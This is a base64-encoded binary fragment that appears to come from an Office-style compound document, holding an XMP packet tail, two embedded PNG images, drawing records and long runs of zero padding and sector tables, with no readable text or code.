ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIAo8 P3hwYWNrZXQgZW5kPSJ3Ij8+FCqqcAAAACBjSFJNAAB6JQAAgIMAAPn/AACA6QAAdTAAAOpgAAA6 mAAAF2+SX8VGAAAISUlEQVR42uxcLYzjRhT2tQfsqgVzpLJRNcviMlsq8UkL1jCrkjNMjgXusQu7 O5VkWQLDqqgt8IICQ1u6VhtWG3rZjoocdq5KbFgw1Wj6Zjz5cVZ3zc6H8mNP7Jlv3vvej/Pk7++x 0Q9f/PDL599+92N+/mf9e59xXvrvv0HnhsajxGd6CjQ0ETU0NBE1NBE1NDQRNTQRNTQ68FRPgcZx ked5WZaEkLZtDcOwbTsIAt/3NREPR13XZVkihFzX1bOxFVVVxXG82Wz4DzebTV3Xp2kRX79+LX44 nU4RQrsP8ubNG7pleVxfX7PX6/U6SRL6GiF0dXVlWZZmm2LTLpdLcUofnUbM83yvg7dO2Xq9BqZR s02BOI4PZuFJueaiKMIw3PFgnmRd+xs4FELIVqHzmM0hIYT/BCEUBIHjOFVVMU/VNA2Vj2VZvnv3 7jSJSI3WLmKuqiqgY0QghDDG/OQGQaAJ1wXgLhBC0+mUvsb432aGJEkU+/+k0jc7euet5pBiOBx6 nkfjvuFw6DiOJlwXmqbh30rNQVVVjyVqvru7a5pGHVJQ77DLaI7jRFEURZHm2b4wTfPxBitMKW51 Irym3ivQ1ng4/O8t4mAwuLu7492uWsxlWcZe27atEItVVfGUZVqn62BCCO+hzs7ObNvmzTOQ83RA aqHrurYsC2MsCgA2Mr0ehBBCyHEcjPHWdBLVzVVV0cDLcRzTNF3XVcsMQsj9/T27YMVZbIpAYCfG LqL75g8wTfN/T0THcdq2ZXdFp6CLNIQQfsp832eZQhFJkvCTxacYeaRpWhSFmLPNssw0zSAIWCy/ XC75A66vr/M8T5KE0R1jPJlMeOOdpmnXVqGDB0EgpWPTNEmSAP9AbyfLMvBD7JT1er1er0EWhp2F ELq4uOBTB2CKeL+01TXxs4ExPgWN6HkePx15nncREUQznucpiLhL9C0WEnjwO0QqEm5ubrqErEgj cfAsy4qiGI1GwFZVVbVvbrmqqtVqpS6B1HV9c3NDf/Houf1T0Ii+7/PquCgK4AXY6vJL63len9mk i701DaRAHMcKa7HVojByLJdLEJDum1um97JLIY4aSGDatUb8Dxf5pExRFKJSBFmbPnnBpmmkJgdj TI0xIURhC5lJ65IEIr89z6NxFZV9/Llt28Zx/OrVK2ZowemDwYDmU+i54uAicWl5nW7vqqp4FW4Y xmazSdM0DENmiUH+nwpZkcGiRGb66kSIGAQBzzNpyMLbGNu2++QFeWHHFvvy8pKffSq51HQ0TTOK Itd1m6YhhNCoAmwY27bH4zEYOY5jnhybzSbPc6regHX0PI/PQIVhyGIRJlcANcEpUl9PZ3g4HDKh zEeBnueJVS7QIQBE6tOvfr0/ChVe+r99RCIihPjwWQxZaGR6LHMI/Ka4coZhWJYVhqFUJDAWTiYT uh8sy3Jd13VdoFnpMUBCWJY1Ho/n8zlPoLIspRVIcb8xsy2mEeiOEu/FcZzJZLJYLHgzLHU7j1oj Mu+siEv4tzQZcfAPgXy4aZrMMIhQyFBailUP3hUUU9vGvwXekzddis3AMjsMl5eXXdkJWmdi4M3q ETTik5//6jnE+4svz79+avxxbvR7rtnw3xvPzg8+23VdhBCb1qIohsMhXcW6rvl1cl23T5gCvK3v +4eNJjVggBaKNgtxL1EncHZ2xhu5uq5ns1lXogf4cdu2FRl+13V5V9AnUDtli0hdpFQUAuvY06EA rhxsXLfKeWNb4UeapbJt27ZtMdHz9u3bOI7FzLPajyu+3THKfoxEBAxjqp+X/z3DFHEBDqir7gjA px1BFaT0qoqimM/nip4PNe8ftBx6UkS0LIs3inVdV1UFkh399fVxLcEB+Z1dbO1kMpHay7ZtkyTp k8bXRDxEeBVFwcv/nmGK1FD1aUvuyXjFATTOnUwmg8FAGsFIz1Unm8C3x3UFp0ZEjDFPlLIseX3d M0yRBsJHfIRA9MUKZog95OLpGOPxeDydTkU6Ut0MvK26ZfDDhw+7C8rHTkTgfMFSHSXvBVxeWZaK /Mi+FAfMULT6gq9Apw/w1OPxGHCRcg6QqW1bxS+C7Km6HUkT0WC1KZFAR9nEwPvXda2QXFsLfVsD f6nFraoKxBzsqrrc7vPnz6UeHFA/yzLpvsrzXMxb9ZlGMNoJEpFWKbau8cGgj7MAuohNA3mez2az NE33ZTnYRavVKk1Tnhx5noOCm2ma7O7KspzNZnEcAz97e3srdawXFxdgXy0WC579TdOkaQoahVjt +2BPkqYpvULakXmaD9iHYQj8iGmaR3wGL4qi+XzOU4EQMpvNaLG/aRqW7N13tRBCYRgCE5tlWZZl 1PlKTWwURcAvs45AuvygyZe3Z77vF0XBD1vX9Wq1oufy98JPpqKYtGP2hxCyWCxM02zbFmN8mv99 Ixqt4z4JihCSPstCa9w9Sw5BEEiN92azkbLwxYsXilQA7QMCLAyCgKfFaDSS5iyl9yItfx8gaUDO 4WT/hAms5dEfBnVd9+rq6oFyvFEU7WJyTNMcjUb77jG+a4aJma5EjxjXs0aNA4I8hTo62f++oY8B 0A2HMe5ijCL02zrdjuNMp1PaXi+NDwaDAR8i7BVmBkHguu56vQZ9Q8wke54nLR8Ph8OiKO7v70Vj Rq9Hehm0HkMIub29lfZP0KbGLtIDF9Q121EUOY4Dpss0Tcdxnhg/9a0TfCJNDx8XNKvXNE3TNM+e PTtudgOkDBWZGjG4pluRLvbuv7jXg2MHgI3PWmj1v4EdTTU+XCn24MEPTlc99L8JiOPrP+rU+CSg iaihiaihoYmooYmooaGJqKGJqKHRhX8GAG+iDq7vPAZzAAAAAElFTkSuQmCCAG4e8FYUAACawu5n FYuyLmK7/yYFXmko/4lQTkcNChoKAAAADUlIRFIAAAGiAAAAhQgDAAAALgsMZwAAAARnQU1BAACx jwv8YQUAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAwBQTFRF AAAA//////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ////////////////////////////////AAAAB4MtGgAAAP50Uk5TADCQ7NSJPwQTbs7wqmAXA0us +f7LgDYCKOfqoFcQD2bI/MJ3LUSk9+KYTgoiguH4uSQLX8DZjwcBPJ7zsGQce9vQhghY7adcFDWW /cd0BVGy+y7rbEqrJ4jlDmXGQvYhgeARFl6/8bd4RpzdrnIZUJHJ47h8JfKtcDJAKqMbetpnH4W9 tthdIN80le+SVCObh29WQ+Rz+lqUzNWZEhhiDO60OEGTHty+sZ/DVehtSM1oSYNZoiz0DboV11sd Bi9h0xrms3VSazvPJjGdwdb1RXZ5fgmMfco+3iuoPYSp0qY3vKFMOXFPuymNUzqO0aXEf2rpM5q1 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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA AgAAAAMAAAAEAAAABQAAAAYAAAAHAAAACAAAAAkAAAAKAAAACwAAAAwAAAANAAAADgAAAA8AAAAQ AAAAEQAAABIAAAATAAAAFAAAABUAAAAWAAAAFwAAABgAAAAZAAAAGgAAABsAAAAcAAAAHQAAAB4A AAAfAAAAIAAAACEAAAAiAAAAIwAAACQAAAAlAAAAJgAAACcAAAAoAAAAKQAAACoAAAArAAAALAAA AC0AAAAuAAAALwAAADAAAAAxAAAAMgAAADMAAAD+////NQAAADYAAAA3AAAAOAAAADkAAAA6AAAA OwAAAP7////9////PgAAAEEAAAB4AAAAQgAAAEMAAABpAAAAdQAAAEUAAABTAAAARwAAAEgAAABJ 